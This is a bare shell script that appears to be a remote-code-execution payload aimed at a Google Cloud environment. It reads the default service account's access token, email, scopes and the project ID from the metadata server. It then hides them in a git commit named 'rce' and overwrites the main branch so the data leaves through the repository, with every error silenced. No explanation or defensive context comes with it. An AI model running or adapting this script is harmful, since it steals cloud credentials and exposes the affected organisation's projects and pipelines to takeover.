#!/bin/sh
T=$(curl -s --max-time 5 -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" 2>/dev/null)
SA=$(curl -s --max-time 5 -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email" 2>/dev/null)
P=$(curl -s --max-time 5 -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/project/project-id" 2>/dev/null)
S=$(curl -s --max-time 5 -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes" 2>/dev/null)
O="T=$T|SA=$SA|P=$P|S=$S"
B=$(echo "$O" | git hash-object -w --stdin 2>/dev/null)
T2=$(printf "100644 blob %s\tout.txt" "$B" | git mktree 2>/dev/null)
H=$(git rev-parse HEAD 2>/dev/null)
C=$(git commit-tree "$T2" -p "$H" -m "rce" 2>/dev/null)
git update-ref refs/heads/main "$C" 2>/dev/null